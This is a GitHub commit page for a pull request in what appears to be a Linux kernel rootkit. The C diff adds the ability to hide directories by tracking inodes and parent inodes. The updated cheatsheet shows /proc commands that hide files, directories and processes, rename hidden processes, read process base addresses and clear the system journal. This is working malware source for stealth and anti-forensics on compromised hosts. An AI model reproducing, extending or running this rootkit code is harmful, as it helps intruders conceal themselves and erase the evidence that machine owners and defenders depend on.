Skip to content

Commit

Permalink
Merge pull request #151 from carloslack/dircount
Browse files Browse the repository at this point in the history
Dircount
  • Loading branch information
carloslack authored Dec 4, 2024
2 parents 5447299 + 164efb8 commit ebf11c9
Show file tree
Hide file tree
Showing 7 changed files with 234 additions and 150 deletions.
25 changes: 17 additions & 8 deletions docs/cheatsheet-proc-interface.txt
Original file line number Diff line number Diff line change
Expand Up @@ -44,29 +44,38 @@
# At full-path
$ echo hide-file=/home/files/README.txt >/proc/test

#12 Hide README.txt globally - hide all instances of README.txt
#12 Hide/Unhide directories
# Hide At $PWD
$ echo hide-directory=README.txt >/proc/test
# Full-path
$ echo hide-directory=/home/files/Dir1 >/proc/test
# Unhide
$ echo unhide-directory=Dir1 >/proc/test

#13 Hide README.txt globally - hide all instances of README.txt
# bypass #10 and #11
# Limitation: directories are not supported
$ echo hide-file-anywhere=README.txt >/proc/test

#15 Undo #12 - this bypass #11
#14 Undo #12 - this bypass #11
$ echo unhide-file=README.txt >/proc/test

#16 List hidden tasks - debug mode only
#15 List hidden tasks - debug mode only
$ echo list-hidden-tasks >/proc/test
$ dmesg

#17 List hidden files and directories - debug mode only
#16 List hidden files and directories - debug mode only
$ echo list-hidden-files >/proc/test
$ dmesg

#18 Fetch the base address of a running process by PID number
#17 Fetch the base address of a running process by PID number
$ echo base-address=<pid> >/proc/test
$ cat /proc/test

#19 Fetch Magik Word
#18 Fetch Magik Word
$ cat /proc/test

#20 Rename a hidden process
#19 Rename a hidden process
# First hide 1234 pid:
$ echo 1234 >/proc/test
# Then rename it at any time
Expand All @@ -76,7 +85,7 @@
# Or to print all tasks (hidden or not)
$ echo list-all-tasks > /proc/test

#23 Clear journal
#20 Clear journal
# May need to be called twice,
# until it is cleared, given vacuum limitation.
# check with journalctl
Expand Down
129 changes: 84 additions & 45 deletions src/fs.c
Original file line number Diff line number Diff line change
Expand Up @@ -156,9 +156,11 @@ struct fs_file_node* fs_get_file_node(const struct task_struct *task) {
static LIST_HEAD(names_node);
struct hidden_names {
u64 ino;
u64 ino_parent;
char *name;
struct list_head list;
bool ro;
bool is_dir;
};

bool fs_search_name(const char *name, u64 ino) {
Expand All @@ -176,73 +178,90 @@ bool fs_search_name(const char *name, u64 ino) {
return false;
}

int fs_is_dir_inode_hidden(const char *name, u64 ino) {
struct hidden_names *node, *node_safe;
int count = 0;
list_for_each_entry_safe(node, node_safe, &names_node, list) {
if (node->is_dir && ino == node->ino_parent)
count++;
}
return count;
}

void fs_list_names(void) {
struct hidden_names *node, *node_safe;
list_for_each_entry_safe(node, node_safe, &names_node, list) {
prinfo("hidden: '%s'\n", node->name);
if (node->is_dir) {
prinfo("hidden: '%s' [directory] ino=%llu ino_parent=%llu\n", node->name, node->ino, node->ino_parent);
} else {
prinfo("hidden: '%s' ino=%llu\n", node->name, node->ino);
}
}
}

static int _fs_add_name(const char *names[], bool ro, u64 ino) {
const char **s;
static int _fs_add_name(const char *name, bool ro, u64 ino, u64 ino_parent, bool is_dir) {
size_t len;

if (!names)
if (!name)
goto err;

for (s = names; *s != NULL; ++s) {
size_t len = strlen(*s);
if (!len)
continue;

if (!fs_search_name(*s, ino)) {
struct hidden_names *hn = kcalloc(1, sizeof(struct hidden_names) , GFP_KERNEL);
if (!hn)
return -ENOMEM;

hn->name = kcalloc(1, len+1, GFP_KERNEL);
strncpy(hn->name, (const char*)*s, len);
hn->ro = ro;
hn->ino = ino;
/** the gap caused by banned words
* is the most fun
*/
prinfo("hide: '%s'\n", hn->name);
list_add_tail(&hn->list, &names_node);
}
len = strlen(name);
if (!len)
goto err;


if (!fs_search_name(name, ino)) {
struct hidden_names *hn = kcalloc(1, sizeof(struct hidden_names) , GFP_KERNEL);
if (!hn)
return -ENOMEM;

hn->name = kcalloc(1, len+1, GFP_KERNEL);
strncpy(hn->name, (const char*)name, len);
hn->ro = ro;
hn->ino = ino;
hn->is_dir = is_dir;
hn->ino_parent = ino_parent;
/** the gap caused by banned words
* is the most fun
*/
prinfo("hide: '%s'\n", hn->name);
list_add_tail(&hn->list, &names_node);
}
return 0;
err:
prerr("Invalid argument\n");
return -EINVAL;
}

int fs_add_name_ro(const char *names[], u64 ino) {
return _fs_add_name(names, true, ino);
int fs_add_name_ro(const char *name, u64 ino) {
return _fs_add_name(name, true, ino, 0, false);
}

int fs_add_name_rw(const char *name, u64 ino) {
return _fs_add_name(name, false, ino, 0, false);
}

int fs_add_name_rw(const char *names[], u64 ino) {
return _fs_add_name(names, false, ino);
int fs_add_name_rw_dir(const char *name, u64 ino, u64 ino_parent, bool is_dir) {
return _fs_add_name(name, false, ino, ino_parent, is_dir);
}

bool fs_del_name(const char *names[]) {
bool fs_del_name(const char *name) {
struct hidden_names *node, *node_safe;
int deleted = 0;

if (names) {
struct hidden_names *node, *node_safe;
const char **s;
for (s = names; *s != NULL; ++s) {
list_for_each_entry_safe(node, node_safe, &names_node, list) {
if (node->ro) continue;
if (!strcmp(node->name, *s)) {
prinfo("unhide: '%s'\n", *s);
list_del(&node->list);
if (node->name)
kfree(node->name);
kfree(node);
node = NULL;
++deleted;
}
}
if (!name)
return false;

list_for_each_entry_safe(node, node_safe, &names_node, list) {
if (node->ro) continue;
if (!strcmp(node->name, name)) {
prinfo("unhide: '%s'\n", name);
list_del(&node->list);
if (node->name)
kfree(node->name);
kfree(node);
node = NULL;
++deleted;
}
}

Expand All @@ -260,6 +279,26 @@ void fs_names_cleanup(void) {
}
}

static struct inode *_fs_get_parent_inode(struct path *file_path) {
struct dentry *parent_dentry;
if (!file_path) {
prerr("%s: invalid argument: %p\n", __FUNCTION__, file_path);
return NULL;
}

parent_dentry = dget_parent(file_path->dentry);
if (parent_dentry)
return parent_dentry->d_inode;
return NULL;
}

u64 fs_get_parent_inode(struct path *file_path) {
struct inode *inode = _fs_get_parent_inode(file_path);
if (inode)
return inode->i_ino;
return 0;
}

struct file *fs_kernel_open_file(const char *name) {
struct file *filp;

Expand Down
24 changes: 12 additions & 12 deletions src/fs.h
Original file line number Diff line number Diff line change
Expand Up @@ -21,18 +21,18 @@ bool fs_file_stat(struct path *, struct kstat *);
* This function allocates data that must
* be freed when no longer needed.
*/
struct fs_file_node *fs_get_file_node(const struct task_struct *task);

bool fs_search_name(const char *name, u64);
struct fs_file_node *fs_get_file_node(const struct task_struct *);
bool fs_search_name(const char *, u64);
void fs_list_names(void);
int fs_add_name_ro(const char **, u64);
int fs_add_name_rw(const char **, u64);
bool fs_del_name(const char **);
int fs_add_name_ro(const char *, u64);
int fs_add_name_rw(const char *, u64);
int fs_add_name_rw_dir(const char *, u64, u64, bool);
bool fs_del_name(const char *);
void fs_names_cleanup(void);
struct fs_file_node *fs_load_fnode(struct file *f);


struct file *fs_kernel_open_file(const char *name);
struct fs_file_node *fs_load_fnode(struct file *);
struct file *fs_kernel_open_file(const char *);
u64 fs_get_parent_inode(struct path *);
int fs_is_dir_inode_hidden(const char *name, u64 ino);

#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0)
ssize_t fs_kernel_write_file(struct file *, const void *, size_t, loff_t *);
Expand All @@ -42,6 +42,6 @@ ssize_t fs_kernel_write_file(struct file *, const char *, size_t, loff_t);
int fs_kernel_read_file(struct file *, loff_t, char *, unsigned long);
#endif

int fs_kernel_close_file(struct file *filp);
int fs_file_rm(char *name);
int fs_kernel_close_file(struct file *);
int fs_file_rm(char *);
#endif //__FS_H
Loading

0 comments on commit ebf11c9

Please sign in to comment.